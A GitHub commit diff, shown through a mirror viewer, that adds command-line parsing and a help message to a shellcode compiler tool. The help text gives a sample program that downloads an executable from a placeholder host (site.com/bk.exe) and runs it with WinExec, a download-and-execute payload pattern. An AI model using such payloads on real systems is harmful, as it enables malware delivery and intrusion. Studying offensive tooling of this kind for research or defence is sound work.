FazBrowse GitHub Viewer | Trending |
URL:
| Home
Tools: [Download Repo ZIP]   [Original HTTPS Page]

Command line · Sec-Fork/ShellcodeCompiler@6734bde · GitHub

Repository navigation

Commit 6734bde

Browse files
committed
Command line
Added command line arguments
1 parent ec258aa commit 6734bde

1 file changed

Lines changed: 128 additions & 3 deletions

File tree

‎ShellcodeCompiler/ShellcodeCompiler.cpp‎

Lines changed: 128 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -10,6 +10,10 @@
1010

1111
using namespace std;
1212

13+
// Program version
14+
15+
#define PROGRAM_VERSION "v0.1 Alpha"
16+
1317
// Special characters
1418

1519
#define CHR_READ_ALPHANUMSTR '\x01'
@@ -1079,16 +1083,137 @@ void CompileAllData(string p_sOutput)
10791083
}
10801084
}
10811085

1086+
// Print help
1087+
1088+
void PrintHelp(string p_sFile)
1089+
{
1090+
cout << endl;
1091+
cout << "Shellcode Compiler " << PROGRAM_VERSION << endl;
1092+
cout << "Ionut Popescu @ SecureWorks" << endl << endl;;
1093+
cout << "Command line options " << endl;
1094+
cout << "--------------------" << endl;
1095+
1096+
cout << "\t-h (--help) : Show this help message" << endl;
1097+
cout << "\t-v (--verbose) : Print detailed output" << endl;
1098+
cout << "\t-t (--test) : Test (execute) generated shellcode" << endl;
1099+
cout << "\t-r (--read) : Read source code file" << endl;
1100+
cout << "\t-o (--output) : Output file of the generated binary shellcode" << endl;
1101+
cout << "\t-a (--assembbly) : Output file of the generated assembly code" << endl << endl;
1102+
1103+
cout << "Source code example" << endl;
1104+
cout << "-------------------" << endl << endl;
1105+
cout << "\tfunction URLDownloadToFileA(\"urlmon.dll\");" << endl;
1106+
cout << "\tfunction WinExec(\"kernel32.dll\");" << endl;
1107+
cout << "\tfunction ExitProcess(\"kernel32.dll\");" << endl << endl;
1108+
cout << "\tURLDownloadToFileA(0,\"https://site.com/bk.exe\",\"bk.exe\",0,0);" << endl;
1109+
cout << "\tWinExec(\"bk.exe\",0);" << endl;
1110+
cout << "\tExitProcess(0);" << endl << endl;
1111+
1112+
cout << "Invocation example" << endl;
1113+
cout << "------------------" << endl;
1114+
cout << "\t" << p_sFile << " -r Source.txt -o Shellcode.bin -a Assembly.asm" << endl;
1115+
}
1116+
1117+
// Global variable for command line arguments
1118+
1119+
bool g_bHelp = false;
1120+
bool g_bVerbose = false;
1121+
bool g_bTest = false;
1122+
bool bError = false;
1123+
1124+
bool g_bReadFile = false;
1125+
string g_sReadFile = "";
1126+
bool g_bOutputFile = false;
1127+
string g_sOutputFile = "";
1128+
bool g_bASMFile = false;
1129+
string g_sASMFile = "";
1130+
1131+
// Parse command line arguments
1132+
1133+
void ParseCommandLine(int argc, char *argv[])
1134+
{
1135+
string CurrentParam;
1136+
string NextParam;
1137+
1138+
// Check arguments
1139+
1140+
for (int i = 1; i < argc; i++)
1141+
{
1142+
CurrentParam = argv[i];
1143+
if (i + 1 < argc) NextParam = argv[i + 1];
1144+
else NextParam = "";
1145+
1146+
// Check options
1147+
1148+
if (CurrentParam.compare("-h") == 0 || CurrentParam.compare("--help") == 0) g_bHelp = true;
1149+
else if (CurrentParam.compare("-v") == 0 || CurrentParam.compare("--verbose") == 0) g_bVerbose = true;
1150+
else if (CurrentParam.compare("-t") == 0 || CurrentParam.compare("--test") == 0) g_bTest = true;
1151+
1152+
// Arguments that require an option as a second argument
1153+
1154+
else if (CurrentParam.compare("-r") == 0 || CurrentParam.compare("--read") == 0)
1155+
{
1156+
g_bReadFile = true;
1157+
if (NextParam.length() > 0) g_sReadFile = NextParam;
1158+
else
1159+
{
1160+
bError = true;
1161+
cout << endl << "Missing required value for -r argument" << endl;
1162+
}
1163+
}
1164+
else if (CurrentParam.compare("-o") == 0 || CurrentParam.compare("--output") == 0)
1165+
{
1166+
g_bOutputFile = true;
1167+
if (NextParam.length() > 0) g_sOutputFile = NextParam;
1168+
else
1169+
{
1170+
bError = true;
1171+
cout << endl << "Missing required value for -o argument" << endl;
1172+
}
1173+
}
1174+
else if (CurrentParam.compare("-a") == 0 || CurrentParam.compare("--assembly") == 0)
1175+
{
1176+
g_bASMFile = true;
1177+
if (NextParam.length() > 0) g_sASMFile = NextParam;
1178+
else
1179+
{
1180+
bError = true;
1181+
cout << endl << "Missing required value for -a argument" << endl;
1182+
}
1183+
}
1184+
}
1185+
1186+
// Check for errors
1187+
1188+
if (bError == true)
1189+
{
1190+
cout << "Cannot compile, check command line arguments!" << endl;
1191+
return;
1192+
}
1193+
}
1194+
10821195
// Main
10831196

1084-
int main()
1197+
int main(int argc, char *argv[])
10851198
{
1199+
// If there is no argument, print help
1200+
1201+
if (argc == 1)
1202+
{
1203+
PrintHelp(argv[0]);
1204+
return 0;
1205+
}
1206+
10861207
InitDLLBase();
10871208
CreateDeclareFunctionsStates();
10881209
CreateCallFunctionsStates();
10891210

1090-
ParseFile(ReadSourceFile("C:\\Users\\Ionut\\Desktop\\SC1.txt"));
1091-
CompileAllData("C:\\Users\\Ionut\\Desktop\\Outpit.asm");
1211+
// Parse command line arguments
1212+
1213+
ParseCommandLine(argc, argv);
1214+
1215+
//ParseFile(ReadSourceFile("C:\\Users\\Ionut\\Desktop\\SC1.txt"));
1216+
//CompileAllData("C:\\Users\\Ionut\\Desktop\\Output.asm");
10921217

10931218
int x;
10941219
cin >> x;

0 commit comments

Comments
 (0)

Back | FazBrowse Home | New Git URL